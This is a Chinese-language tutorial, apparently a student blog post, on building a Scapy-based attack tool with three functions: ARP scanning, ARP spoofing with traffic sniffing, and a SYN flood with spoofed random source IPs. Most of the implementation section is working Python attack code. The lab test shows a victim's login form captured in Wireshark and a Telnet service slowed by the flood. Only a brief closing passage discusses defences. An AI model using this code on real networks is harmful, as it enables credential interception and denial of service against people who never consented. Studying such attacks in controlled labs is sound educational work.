基于Scapy的传统网络攻击实现

本文最后更新于:2024年3月20日 中午

基于Scapy的传统网络攻击实现

前言

Scapy是一个由Python编写的强大工具,目前很多优秀的网络扫描攻击工具都使用了这个模块。也可以在自己的程序中使用这个模块来实现对网络数据包的发送、监听和解析。Scapy还是一个功能强大的交互式数据包操作程序。它能够伪造或解码大量协议的数据包,通过线路发送,捕获它们,匹配请求和回复等等。Scapy可以轻松处理大多数经典任务,如扫描,跟踪路由,探测,单元测试,攻击或网络发现。它可以取代hping,arpspoof,arp-sk,arping,甚至是Nmap,tcpdump和tshark的某些部分。

开发环境与工具

开发环境:Python 3,开发工具:Pycharm,开发所需第三方库:Scapy(是一种用于计算机网络的数据包处理工具,由 Philippe Biondi 用 Python 编写。它可以伪造或解码数据包,通过网络发送它们,捕获它们,并匹配请求和响应)。

系统主要功能

传统网络攻击系统主要包含三个功能,一是ARP扫描,可以扫描本局域网活跃的主机数,以及各自的IP地址和对应的MAC地址。二是ARP欺骗功能,通过欺骗局域网内靶机的网关MAC地址,使靶机错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。该功能可以进一步升级为嗅探攻击。第三个功能为DOS攻击,通过向靶机发送大量的TCP SYN报文,消耗系统资源,使得服务器无法提供正常的服务。

系统原理分析

协议工作原理

ARP工作原理

在网络的数据链路层只能看见 MAC 帧,链路层以上的数据都被封装在 MAC 帧中,MAC 帧包含源 MAC 地址和目的MAC 地址,在实际局域网络中传送数据时,根据 MAC 地址寻找目的主机。已知一台主机的 IP 地址,要发送数据时需要找到对方的 MAC 地址,这时就需要用到 ARP。ARP 负责将网络层中的 IP 地址解析为链路层的 MAC 地址。
每台主机都有一个 ARP 高速缓存,保存着本局域网内已知主机和路由器的 IP 地址和 MAC 地址映射表,这些映射关系可更新且有生存周期。当一台主机发送数据时,若目标主机的 MAC 地址在 ARP 缓存表中不存在,会将包含目标 IP 地址信息的 ARP 请求广播给网络中的所有主机,接收返回消息以确定目标 IP 地址的物理地址。收到返回消息后将该 IP 地址和MAC 地址存入本机 ARP 缓存中并保留一定时间,以便下次请求时直接查询 ARP 缓存。

TCP工作原理

当应用程序希望通过 TCP 与另一个应用程序通信时,它会发送一个通信请求。这个请求必须被送到一个确切的地址。在双方“握手”之后,TCP 将在两个应用程序之间建立一个全双工(full-duplex) 的通信。这个全双工的通信将占用两个计算机之间的通信线路,直到它被一方或双方关闭为止。
(1)TCP协议的三次握手:TCP是因特网中的传输层协议,使用三次握手协议建立连接。当主动方发出SYN连接请求后,等待对方回答SYN+ACK,并最终对对方的 SYN执 行ACK确认。TCP三次握手的过程如下:①客户端发送SYN(SEQ=x)报文给服务器端,进入SYN_SEND状态。②服务器端收到SYN报文,回应一个SYN (SEQ=y)ACK(ACK=x+1)报文,进入SYN_RECV状态。③客户端收到服务器端的SYN报文,回应一个ACK(ACK=y+1)报文,进入Established状态。④三次握手完成,TCP客户端和服务器端成功地建立连接,可以开始传输数据了。
08417da130c84bbb926760f858eec1bb.png
(2)TCP协议的四次挥手:①客户端打算断开连接,向服务器发送FIN报文(FIN标记位被设置为1,1表示为FIN,0表示不是),FIN报文中会指定一个序列号,之后客户端进入FIN_WAIT_1状态。也就是客户端发出连接释放报文段(FIN报文),指定序列号seq = u,主动关闭TCP连接,等待服务器的确认。②第二次挥手:服务器收到连接释放报文段(FIN报文)后,就向客户端发送ACK应答报文,以客户端的FIN报文的序列号 seq+1 作为ACK应答报文段的确认序列号ack = seq+1 = u + 1。接着服务器进入CLOSE_WAIT(等待关闭)状态,此时的TCP处于半关闭状态,客户端到服务器的连接释放。客户端收到来自服务器的ACK应答报文段后,进入FIN_WAIT_2状态。③第三次握手:服务器也打算断开连接,向客户端发送连接释放(FIN)报文段,之后服务器进入LASK_ACK(最后确认)状态,等待客户端的确认。服务器的连接释放(FIN)报文段的FIN=1,ACK=1,序列号seq=m,确认序列号ack=u+1。④第四次握手:客户端收到来自服务器的连接释放(FIN)报文段后,会向服务器发送一个ACK应答报文段,以连接释放(FIN)报文段的确认序号 ack 作为ACK应答报文段的序列号 seq,以连接释放(FIN)报文段的序列号 seq+1作为确认序号ack。
adb54c4e768642cb8b6bad9d3de7d825.png

攻击原理及实现方法

ARP扫描原理

ARP(Address Resolution Protocol)地址解析协议,目的是实现IP地址到MAC地址的转换。在计算机间通信的时候,计算机要知道目的计算机是谁,这中间需要涉及到MAC地址,而MAC是真正的电脑的唯一标识符。在OSI七层模型中,对数据从上到下进行封装发送出去,然后对数据从下到上解包接收,但是上层(网络层)关心的IP地址,下层关心的是MAC地址,这个时候就需要映射IP和MAC。ARP扫描通过生成arp request报文,根据本机的IP地址及网段,枚举询问网段内的所有IP地址,统计返回结果。

ARP欺骗原理

ARP欺骗的运作原理是由攻击者发送假的ARP数据包到网上,尤其是送到网关上。其目的是要让送至特定的IP地址的流量被错误送到攻击者所取代的地方。因此攻击者可将这些流量另行转送到真正的网关(被动式数据包嗅探,passive sniffing)。
局域网上的主机可以自主发送 ARP 应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机 ARP 缓存。攻击者若发送伪造的 ARP Request 报文或 ARP Reply 报文,便可能会造成网络通道阻塞、网络设备的承载过重以及网络的通信质量不佳等情况。

SYN Flood攻击原理

上面介绍了建立一个 TCP 连接的三次握手过程,三次握手属于一个协商的过程,也就是说客户端与服务器端必须严格按照这个过程来进行,否则连接就不能建立。
客户端发送一个 SYN包 给服务器端后就退出,而服务端接收到SYN包 后,会回复一个SYN+ACK包给客户端,然后等待客户端回复一个ACK包。但此时客户端并不会回复 ACK包,所以服务器端只能一直等待直到超时。服务器端超时后,会重发SYN+ACK包给客户端,默认会重试 5 次,而且每次等待的时间都会增加。另外,当服务器端接收到SYN包后,会建立一个半连接状态的Socket。所以,当客户端一直发送SYN包,但不回复 ACK包,那么将会耗尽服务端的资源,这就是 SYN Flood 攻击。

实现方法

通过Python的scapy库实现传统的攻击,scapy可以构造不同的数据包,构造ARP欺骗包并周期的发送,实现ARP的欺骗,构造TCP SYN数据包,并大量的发送,从而形成了简单的SYN Flood攻击(DOS攻击)。

功能设计

功能描述

系统简单的实现了传统网络攻击,有主界面,可以进行相应的功能选择,主体有三个基本功能,第一个是进行ARP扫描,通过构造并发送ARP广播数据包,并接收响应,从响应中得到IP地址与MAC地址。第二个功能是进行ARP欺骗,通过构造ARP欺骗数据包,并周期性的发送,实现了ARP的欺骗;开启攻击机路由交换服务可实现嗅探攻击。第三个功能是SYN Flood(DOS)攻击,利用scapy构造IP TCP数据包,并利用多线程大量的向目标服务器的目标端口发送,从而导致目标服务器资源被耗尽。系统功能结构框图如下:
5572974d443040b2baaed578b1ae6be5.png

系统功能实现

准备(Scapy的下载)

(1)首先,Scapy下载应用的前提是安装系统上必须已经安装了 Python。
(2)使用pip下载安装;在Windows系统下打开命令提示符(CMD),并输入:pip install scapy。
(3)下载好后配置系统环境变量,将下载路径放在Path下,如下图:
f388d271dab74ded9a260895b37649d7.png
(4)在命令提示符输入scapy如出现如下界面则表示安装成功。
2e5684797dfc43a680d21c708ab76f48.png

ARP扫描的实现

在ARP扫描的过程中,首先要获得本机的IP地址与网关地址(扫描需要),使用Python可以简单的获得相应的地址,通过打开系统命令提示符,打印路由表,然后从中过滤出主机的IP地址与网关地址。相关代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
for line in os.popen('route print'):
s = line.strip() # 去掉每行的空格
if s.startswith('0.0.0.0'):
slist = s.split()
ip = slist[3] # 本机IP
gw = slist[2] # 本机网关
break
print('本机上网的IP是:', ip)
print('本机上网的网关是:', gw)
tnet = gw + '/24' # 本网络

通过scapy构造ARP数据包,并接收回复:其中tnet = gw + ‘/24’
p = Ether(dst=‘ff:ff:ff:ff:ff:ff’) / ARP(pdst=tnet)ans,
unans = srp(p, iface=wifi, timeout=2, verbose=0)

以pdst为192.168.43.1为例,包结构如图所示:
b38265cc5228465382bfb9bfcddd274e.png
然后解析收到的包,提取出需要的IP地址和MAC地址打印出活跃主机的IP地址和MAC地址,相关代码实现如下:
下面展示一些 内联代码片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
print("正在扫描")
# 构造一个ARP广播包,向整个网络的每台主机发起ARP广播
p = Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst=tnet)
# ans 表示收到的包的回复
ans, unans = srp(p, iface=wifi, timeout=2, verbose=0)
print("一共扫描到%d台主机:" % len(ans))
# 将需要的IP地址和Mac地址存放在result列表中
result = []
for s, r in ans:
# 解析收到的包,提取出需要的IP地址和MAC地址
result.append([r[ARP].psrc, r[ARP].hwsrc])
result.sort()
# 打印出活跃主机的IP地址和MAC地址
for ip, mac in result:
print(ip, "------>", mac)

至此ARP扫描功能实现。

ARP欺骗功能的实现

在进行ARP欺骗时首先也需要获取网关地址(方法同上),接着利用scapy构造ARP欺骗包,告诉被攻击者我是网关其中target为目标主机p1 = Ether(dst=‘ff:ff:ff:ff:ff:ff’, src=‘10:63:c8:3a:39:93’) / ARP(pdst=target, psrc=gw),包结构如图所示:
edc707b7eb734b03b3941c00ed59b8a5.png
然后开始周期性的发包,不断地进行ARP欺骗,相关代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
target = input("请输入攻击目标:")
t = int(input("请输入攻击时间(S):"))
# 构造一个欺骗数据包,告诉被攻击者,我是网关
p1 = Ether(dst='ff:ff:ff:ff:ff:ff', src='10:63:c8:3a:39:93') / ARP(pdst=target, psrc=gw)
# 周期性的发包,欺骗模式
print("攻击开始。。。")
for i in range(10 * int(t)):
sendp(p1, verbose=0)
time.sleep(0.1)
print("send package",i+1)
print("攻击结束。。。")

嗅探攻击的实现

嗅探攻击的实现是基于ARP的欺骗下的,在进行ARP欺骗后,开启主机的路由交换功能,这样靶机的数据流量就会流经攻击机,打开wireshark进行抓包,实现了简单的嗅探攻击,这里的嗅探攻击也就是指主动嗅探。

DOS攻击的实现

DOS攻击是利用scapy构造SYN握手包,包括IP信息与TCP信息,packet = IP(src=‘192.168.43.166’, dst=‘192.168.43.203’)/TCP(sport=‘455’, dport=‘23’, flags=“S”)
包结构如图所示:
f68c616e8a474018a6d2e04d21988945.png
这里我们的源地址是固定的,为了达到更好的效果,我们采用不同的IP地址不断地向靶机发送握手包,这里先生成随机的IP地址存入列表,并采用多线程的方式实现DOS攻击,相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def synFlooi(tgt, dPort, k):  # 自定义函数
i = 1
while True:
srcList = [
'192' + '.' + str(random.randrange(254)) + '.' + str(random.randrange(254)) + '.' + str(
random.randrange(254)),
'10.' + str(random.randrange(254)) + '.' + str(random.randrange(254)) + '.' + str(random.randrange(254))]
# 设置源ip地址
sPort = random.randrange(1024, 65535) # 设置端口
index = random.randrange(0, 1) # 选一个ip段
ipLayer = IP(src=srcList[index], dst=tgt)
tcpLayer = TCP(sport=sPort, dport=dPort, flags="S") # 构造ip包
packet = ipLayer / tcpLayer # 构造tcp包
send(packet)
if k == i:
break
else:
print(f'已经攻击次数{i}')
i = i + 1

功能测试

构建局域网

攻击环境如下图所示:
726ed692a3c74beb824563fc4a469c08.png

靶机,攻击机,PC机处于同一个局域网,通过路由器与外部服务器相连。各主机的IP与MAC地址下表所示:

序号 主机 IP地址 MAC地址
1 攻击机 192.168.43.166 10:63:c8:3a:39:93
2 靶机 192.168.43.203 38:ba:f8:80:40:49
3 PC 192.168.43.128 b2:b9:c5:ed:6d:7b
4 网关 192.168.43.1 12:73:53:7b:c3:a2

ARP扫描及ARP欺骗

(1)运行程序,选择ARP扫描功能,进行扫描,扫描结果如下:
04487bf4851a439785bbba2a80b88b15.png
扫描完成,一共扫描到四台主机分别为网关、攻击机、靶机、和PC机,以及每个主机对应的MAC地址。
(2)进行ARP欺骗
①首先查询靶机MAC地址表如下图:
87f1765eb2e94594a0584254f36e5141.png
②在攻击机运行程序,选择ARP欺骗功能,输入靶机IP地址192.168.43.203以及攻击时间60 S进行ARP欺骗攻击,攻击效果如下:
4536e6ae909d44c785142f4eb1bd08c7.png
③打开wireshark抓包,有多个ARP数据包,如下图:
9eabefc4b00b49f9bbd25d28342c72a0.png
图 17 wireshark ARP抓包
④在靶机上查询MAC地址表,发现网关的MAC地址变为攻击机的MAC地址,如下图:
bff465bdaac34298812d368511bba6fc.png

⑤此时靶机以无法正常访问网络,如下图:
4bcafd5b7e714749855d902f9c670e7c.png

嗅探攻击测试

(1)嗅探前的准备:
由于进行ARP欺骗后,靶机的网关MAC地址变为攻击机的MAC地址,靶机的上网流量要经过攻击机,所以可以进行嗅探攻击。在攻击之前攻击机要开启路由交换服务,步骤如下:
① 找到系统服务
d38d8b724ad242b6955a17cbe6f6b16b.png
② 找到Routing and Remote Access,并启动该服务。
0b3567dca0bf4211934b0018b8bfebaf.png

02aeafadc48149e69e81fa5197a5c1b5.png

(2)进行嗅探攻击
①打开wireshark抓包,设置过滤器条件为http。
873acb9bd8c1416b925c27ab22a78e6e.png
②运行程序,选择ARP欺骗功能,输入靶机IP地址192.168.43.203以及攻击时间300 S进行ARP欺骗攻击。
③ 靶机登录学校官网www.***.edu.cn。
a361c1ada2ab406089ddf21d939d3b9f.png

④ 查看wireshark找到数据包(POST),并查看,此时可以看到靶机提交的用户名(190316145)以及密码(******)
23a5559d1970420aa00953306ed90bc8.png

SYN Flood攻击测试

(1)攻击前的准备:
①在PC机和靶机上开启Telnet服务,使用Telnet登录到靶机 telnet 192.168.43.203。
67b39e2bc2d94aac8b6ff4b9a57e837b.png
(2)SYN Flood攻击
①运行程序,选择DOS攻击功能,输入靶机IP地址192.168.43.203、攻击端口为23、线程数为默认(50000),攻击次数为1。
0febc54984524b48843c037cfc5e2ce3.png
②打开wireshark,过滤出TCP数据包,发现有大量的TCP SYN数据包。
8f0570281b1246f78716be56602ca702.png
③此时切换到PC机,使用Telnet登录到靶机,需要等待较长的时间才能连接上服务器。

总结

随着近年来“ARP”地址欺骗类攻击的兴起,公众上网设施由于其终端众多、网络广播域大、安全防护网关缺乏、用户层次面广的特征,极易被不法分子利用,他们使用ARP攻击发布不良信息、监听盗取用户帐号、在公众服务网页挂载恶意代码等,已经影响到区域内公众上网安全。通过对ARP攻击原理的剖析,可以总结出ARP攻击的根源在于ARP协议自身缺陷。DOS拒绝服务攻击、侦听、病毒挂载、Windows系统攻击、交换机攻击等多种混合类攻击的实现原理都是基于ARP广播包信任缺陷。传统上使用MAC地址与IP地址的绑定是最简单有效的ARP攻击防御方法。然而,虽然这种设置在单机上非常容易实现,但是,在大型公众上网环境中使用静态IP地址和MAC地址的绑定会带来巨大的管理负荷。

SYN Flood的目的是占满服务器的连接数,消耗服务器的系统资源。对于服务器自身来说,最直接的做法就是提高服务能力,比如组建集群,升级硬件。但是这种方式成本巨大,且对于海量的攻击报文来说,并没有太大的作用,仅多撑几分钟甚至几秒而已。所以,必须在这些攻击报文到达服务器之前就进行拦截。然而对于防火墙这类安全设备而言,SYN报文是正常的业务报文,防火墙的安全策略必须允许其通过,否则服务器就无法对外提供服务。如果能明确虚假源的IP地址,就能通过精细的安全策略阻止这些源发来的SYN报文。但是管理员无法预知哪些是虚假源。即使能分析出虚假源,也无法做到快速、自动地配置或取消安全策略来应对不可预期的攻击流量。此时就需要Anti-DDoS系统的能力了,它部署在网络入口处,在服务器之前处理SYN报文,识别出虚假源,屏蔽来自这些地址的报文,只将合法的SYN报文传递给服务器。